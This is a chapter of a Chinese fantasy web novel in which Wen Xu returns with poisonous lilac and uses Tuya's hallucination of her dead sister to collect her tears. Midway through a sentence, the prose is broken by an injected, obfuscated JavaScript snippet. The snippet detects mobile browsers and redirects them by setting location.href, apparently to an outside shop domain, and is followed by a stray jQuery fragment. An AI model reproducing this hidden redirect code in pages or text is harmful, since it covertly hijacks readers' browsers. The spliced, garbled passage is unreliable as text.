马奴刚刚清醒,步子还有些虚浮,没有追得上三人的脚步。
完颜丰不敢停下脚步,边跑还在边思考,到底是哪里出了问题,难道昨日在雨中跑了一天,丹药泡水了,所以没用了吗?
“师兄,快跑啊,一会儿他去禀报了蒙克,桑金一醒,我们马上就要被发现了。”
他们没有回头看,那个醒了的马奴,刚走了两步,又倒地昏昏沉沉地睡过去了。
天马上就要亮了,马儿被栓了半天,早就睡着了。
现在根本跑不动,驼着几人慢悠悠地走着,玉茵冷得打了一个寒战,刚刚跑了半天,身体已经热起来了,但还是挡不住草原的凉气。
她揉了揉眼睛,这几日她的作息已经完全乱了,感觉眼睛都有些模糊了。
她睁开眼睛,又看向前面的草原。
一个穿着银白色衣袍的女子牵着马正缓缓走过来,绑着头发的丝带已经散乱,在空中肆意随风舞动着。
“快看,是闻絮,闻絮回来了!”
闻絮走得并不快,她牵着马,有些单薄的身影在寒风中逐渐走近。
明舟看清了她的眉眼,发丝已经散乱,闻絮也没有管,任由它们飘零在眼前。
原本干净的衣衫上沾满了泥水,拉着缰绳的手上布满了大大小小的伤口,血迹在上面已经干涸。
那丝绸做的背心被山间的石壁刮扯得不像样,像天使被拉入了人间。
她原本冷漠的脸看到雾中的几人,展现了一个淡淡的笑容。
玉茵下马,高兴地向闻絮跑过去,擦着她脸上的泥土,“你终于回来啦,有没有受伤?”
闻絮摇摇头,“师姐,我是很厉害的,不会受伤的。”
明舟也翻身下马,替闻絮拉住了一旁马的缰绳,让闻絮可以和玉茵一起并排走着。
完颜丰倒是也想过去,这两个人把马都扔下了,自己只能在原地拉着缰绳。
要不然到时候马跑了,他们这几个人都只能用双脚跑了。
不用说跑了,每天半夜做这些偷鸡摸狗的事情,他不用跑就可以直接死了。
闻絮看着一旁拉着马的明舟,“你怎么不说话,也不问我拿到紫丁香了吗?”
明舟看着闻絮,“我知道你的,你这么不服输的性子,还不到最后的时间,拿不到你是不会回来的。”
闻絮笑笑,“是,拿回来了。”
玉茵拉着闻絮的胳膊,绘声绘色地讲着闻絮走后的事情。
她把如何摸进蒙克的部落,又潜入了那些男人的帐子,都一一讲出来。
最后还得意地展示着他们最近的成果,“桑金的悲泪和喜泪我们已经都拿到了。”
忽然玉茵有些丧气,“但是还没找到其他的少女,图雅那边已经完全不管我们了,我们也没法再接近图雅了。”
闻絮拍了拍玉茵的手,“也许,我有办法。”
明舟有些好奇:“是靠紫丁香吗?”
闻絮点点头,“对,紫丁香,但也赌人心,赌图雅的感情。”
蒙克那边很有可能已经发现他们在干的事情了,他不像图雅那么和善,这里也必须尽快离开了。
闻絮的嘴唇有些干裂,带着的水已经喝光,离人崖上的水她不敢喝,就一直忍到现在。
明舟递了自己的水壶过去,闻絮小小喝了一口,润了润嘴唇。
干裂的土地上得到了水源的浇灌,但第一时间不是解渴,而是痛。
闻絮想到了图雅,渴望了很久的紫丁香,在得到到的那一瞬,会先笑还是先哭呢?
……
图雅被塔娜的声音叫醒,塔娜的声音很是欣喜,“额真,闻絮回来了!”
图雅在不久前才刚迷糊着睡着,听到这个消息,也有些惊喜,“她回来了?”
塔娜进来帮着图雅穿衣服,“对,她和明舟一起回来了,我看的真切,她腰上背着的瓶子里放着紫丁香。”
闻絮和明舟先回到自己的屋子收拾了东西,把一身脏污的衣服换下来,重新换了一身衣服。
是那日图雅派人送来的多余的衣裙,有一身烟粉色的袍子。
“额真,他们来了。”
图雅听着塔娜的声音,正色回答道:“让他们进来吧,还有,你也先出去。”
闻絮穿着新的衣裙,腰上挎着一个瓶子,里面装满了摘回来的紫丁香。
图雅有一瞬间的失神,她看着闻絮从瓶子里将花拿出来,递在自己的眼前。
“紫丁香,我带回来了。”
图雅一言不发,接过紫丁香。
闻絮用了法力保存,紫丁香像是刚被采摘下来一样,依旧绽放着。
紫丁香有迷人心智的作用,图雅不会法力,没几秒钟她的眼前就出现了幻觉。
她看到妮娅死而复生,站在了自己眼前。
还是那样一套烟粉色的衣裙,就这么俏生生地站在自己面前。
图雅探出身子,拉着闻絮的手,抚摸着她手上的伤口,“疼不疼?”
闻絮放软了声音:“不疼。”
图雅的声音忽然顿了一下,委屈地说道:“我好想你,你还能站在这里,真好。”
闻絮抬起图雅的脸,她看着闻絮的眼神有些迷离,像是透过她在看什么人。
眼睛里的欣喜是藏不住的,随之而来的,是她眼底的泪光。
闻絮抬手,擦去这滴未落下的泪,带着热气的,喜悦的泪水。
这滴泪很快被她拿着的瓶子收起。
闻絮看着图雅,内心不忍,虽然紫丁香带回来了,但还是利用了这个单纯的姑娘。
“对不起。”
图雅忽然听到了什么令人窒息的话语,她崩溃地捂住头,“不,不,是我对不起你。”
她慢慢蹲下身子,最后坐在地上,看着地面,声音抽噎,“妮娅,是我错了,那天我不是有意刺激你的,我说的让你去死不是当真的。”
图雅痛苦地哭喊着,“那天,你就那么躺在床上,你拉着我的手,和我说对不起。我想说没关系的,其实我不恨你,但是我为什么就是没有说出口。”
地面上什么都没有,紫丁香带来的幻觉让她看到了死去的妮娅。
“妮娅,你告诉我说你好困,好想再看一次紫丁香,你别睡,紫丁香就在这里了。”
图雅拿起手里的紫丁香,对着地面两手捧出去。
但是紫丁香早已经在她的手里攥着,变成了残败的花儿。
闻絮蹲下来,从图雅的手中抽出只剩下光秃秃的花杆,“你想要的,从来不是紫丁香,是那个带着紫丁香的妮娅。”
闻絮一把将剩下的紫丁香扔进了火盆里,火焰吞噬着残枝败叶,也带走了图雅心中的妮娅。
塔娜心中担心,听到图雅的哭喊声,就急忙冲进来。
图雅失魂落魄地坐在地上,脚下是几片破碎的花瓣。
她听到闻絮的声音,“紫丁香是有毒的,能让人产生幻觉。我已经把离人崖上的紫丁香都烧光了,以后都不要再去了。”
帮图雅采摘紫丁香的任务已经结束,她们没有理由在这里继续呆着了。
图雅还沉浸在失去妮娅的悲伤当中,无瑕顾及。
帐子外却再次传来了吵闹的声音,不是完颜丰和玉茵。
门外的婆子进来通报:“额真,桑金又来了。”
闻絮以为又能看到桑金那张傲气的脸庞,但是走出帐子,却看到她和图雅一样失魂落魄的表情。
桑金眼神急切地寻找着,目光落在刚走出来的闻絮身上,她有一瞬间的失神,但是又在继续寻找着。
明舟紧跟在闻絮的身后,桑金看着他的脸,脸上终于多了一丝笑容。
她扑过来想要抓住明舟的衣服,但是明舟被闻絮抓着后撤了一步。
两人对于桑金都是戒备的眼神。
桑金有些无助地收回了手,“对不起,对不起,是我太冒失了。我只是想问问你,昨夜是不是你进了我的帐子?”
明舟听着桑金的问话,心中怀疑,难道她已经发现他们取走眼泪的事情了吗?
见明舟一时没有回答,桑金便有些着急,“我没有别的意思,之前偷你们的东西,是我不对,我可以给你们道歉。我也不问你们对我做了什么,左不过我也没有什么值得你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416427|200783||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们要的,但是我想问你们求一样东西。”
明舟没有答应,他先出声问道:“我暂时不能答应,你先说,你想要的是什么?”
桑金期待地看着明舟,“我要的很简单,就是一个梦,一个有妮娅的梦。我知道你们可以做到的。”
桑金又上前两步,“我没有恶意的,就和你们再说两句话。”
桑金压低了声音继续说着,“你们一连来了两日,两日我都做了关于妮娅阿姐的梦,我知道肯定是你们做的。我求求你们,再赐我一个梦吧。”
桑金见明舟还是没有答应,一股脑直接跪在他的身前,拽着明舟的裤脚,神情恳切。
“明公子,我求求你,我只有这么一个小小的请求,你想要什么,只要我有的,我都可以给你。我没有的,就是去偷去抢,我都给你弄来。我实在是想妮娅阿姐,求你再赐给我一个梦,让我在梦里见见她,也是好的。”
明舟想要扶起桑金,桑金固执地跪着,虽然她人只有小小一个,但是力量现在却很庞大,绕是明舟用了很大的力气,都没有把她扶起来。
明舟只得蹲下身子,“前两天的事情对不住,如果你想要,今晚我可以再送你一个梦,但我希望你明白,梦也只是梦,梦醒了,就要回归现实。”
桑金连连点头,“我知道的,只要一个晚上,一个晚上就好。”
闻絮和明舟要走的计划暂时被耽搁,他们通知了完颜丰和玉茵,暂时先到桑金的帐子里去住一晚。
等答应桑金的承诺完成,他们几人再动身。
桑金被闻絮搀扶了一把,艰难起身,她看向图雅的帐子,问了一句,“图雅,她还好吗?”
闻絮只是如实回答,“你若是觉得她过得好,想必也不会问出这样的话,你若是觉得她过得不好,又何苦日日来这里给她添堵呢?”
桑金的头低下去,“我明白,怪不得她,只是除了她之外,我没有人可怪了。”
是啊,蒙克对桑金也如同亲妹妹一般,处处维护着,自然是不能怪到他的头上。
“你把妮娅当做姐姐,失去亲人的痛我也经历过,也能体会你的感觉。但妮娅也是图雅的妹妹,图雅的伤心不会比你少,不要再一直伤害图雅了。”
闻絮言尽于此,不再说话。
闻絮和明舟把桑金送回了蒙克的部落,两人则是在帐子外的草原上坐着。
蒙克对于两人的敌意依旧很大,虽然他不知道为什么桑金对于他们的态度改变了,但是自己不会掉以轻心。
蒙克面色凝重地盯着紧挨着坐着的二人,眉头紧皱。
身边的随从跟来,禀报图雅的状况。
蒙克心下又是一紧,“我知道了,你下去吧。”
离人崖险峻异常,自己和图雅都未能成功,眼前这个女人居然成功拿到了紫丁香,而且身上还没有明显的伤口,这其中一定不对。
他内心想着,图雅会被他们的外表迷惑,但是自己不会,这一群人肯定有问题。
蒙克派人盯着闻絮和明舟,自己去了桑金的帐子。
桑金一个人坐在自己的床上,手里拿着一对儿玛瑙耳坠。
她正在抚摸着上面的珠子,听到有人进来,急忙把耳坠收在手里。
她的动作很快,但还是被蒙克看到了。
“不用藏了,我已经看到了。”
桑金把耳坠放在一旁的桌子上,自己穿上鞋坐在床边。
“桑金,你告诉我,你怎么突然把这些中原人带回来了,还让他们住在你的帐子里?你要知道,如果他们图谋不轨,你就是最危险的。”
“我不怕,而且他们就住一晚,今晚过后,他们就会走了,我的梦彻底就结束了。”
蒙克捕捉到他们明天就要走的消息,说服不了桑金,但是他还是派人守在了桑金的帐子外,桑金不能出一点意外。
蒙克猛地咳了两声,最近自己不知道怎么了,身体一直有恙,每天总会感觉头晕。
大概是去采紫丁香的时候受伤了吧,肩膀连带着腿骨都有点疼。
桑金端起一旁的奶酒递给蒙克,蒙克自然接过,喝了一大碗。